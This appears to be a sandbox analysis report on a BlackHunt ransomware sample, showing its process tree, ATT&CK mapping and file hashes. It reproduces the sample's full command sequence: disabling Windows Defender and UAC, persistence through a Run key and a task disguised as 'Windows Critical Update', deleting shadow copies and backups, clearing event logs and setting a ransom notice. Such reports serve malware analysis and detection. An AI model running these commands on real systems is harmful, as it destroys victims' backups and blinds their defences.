description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe"C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2148 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2212 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:2892
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2664
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:2728
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2436 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:2864
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:2752
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:2528
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2684
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2160
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2884
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1980
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2708
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2992
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2888
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3016
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2600
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2876
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2744
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2320
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2568
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2672
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2696
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:2328
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2292
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:2068
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:1716
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:336
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2812
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:1748
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:3012
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2668
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2976
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:292
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2128
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:888
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2004
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:1920
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:384
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:2300
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2380
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2056
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2828
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:3028
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:1096
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:2924
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:1304
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2644
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2980
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:2892
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1228
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:1316
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:356
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:1920
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe" /F2⤵PID:1688
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe" /F3⤵
- Creates scheduled task(s)
PID:2836
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:2556
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:2532
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:3020
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1152
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:2052
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1932
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2228
-
C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
PID:1824
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1420
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:860
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2084
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:2656
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:268
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1028
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:684
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2916
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:792
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:1364
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:876
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1672
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:3444
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:1288
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:3872
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:3632
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:4016
-
C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:3860
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:4048
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2896
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:908
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2864
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:3944
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3344
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:1188
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3372
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:1244
-
C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:3892
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:4044
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:3868
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2440
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3620
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2972
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:3368
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:4012
-
C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:4052
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:3728
-
C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2004
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:3612
-
C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:480
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:3800
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2708
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:3932
-
C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:2356
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:3908
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:4024
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:3088
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:1596
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:2828
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:2792
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:3952
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4028
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:3168
-
C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:772
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2124
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵PID:1056
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\15af4b5cdac4ff4034f321d4488938240e22feff43bf0e8c62c30c27c481bbfa.exe"2⤵
- Deletes itself
PID:3116 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2992
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1796
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2348
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2212
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:2472
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵PID:292
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
12KB
MD526d54f61134d48825897f95090d76532
SHA1b0b704ea6fa697844e27f6d8d5c6c535827fe478
SHA256719829a64daf7bb27ead95e09129bc18090ecfe553499a26b84996965035b6a3
SHA512072bac801bb5a511844348c47a6d88b8981c6c8e7ab3c0581d4f28a1621c8b0077dbd85b3b00992317ab1b4e5d749073864fe3b765bb50601278b7829b506ddc
-
Filesize
1KB
MD5893e2292c67e30ab3bf01163e9f7f656
SHA17040573c6d9119e344bc01398b0ea99266a78a94
SHA256437155ae9830a654cbcedebc6ab17ff251e20ce30a8a70a241eabb41934ebaec
SHA512d7b00fc63457efee818bfff79af9f1ed1416c867eadd41f1fdfd129dcc9422a7eef000259cde3d3a9766418d08d176595d826be08d15b01da4d8cb20bdc853ab
-
Filesize
684B
MD5ece1ac22f4fbd462e4dea8ee2b6e361b
SHA1ed5ef28d8154084183adee876b11f5acdbf26b01
SHA2565ffc7ad152a02fa95b790a43013f4897dda5fd257c4ed1d4013811695f1a6ac0
SHA512576f2c50785722ec7ebd0e8a870d0f4ef59614a6bf8d1e9fb336011b17f5ae6c599de3f0ed4c96c59e662179b9ccfb1ae0779df58b13497a27adb8838bc3aafd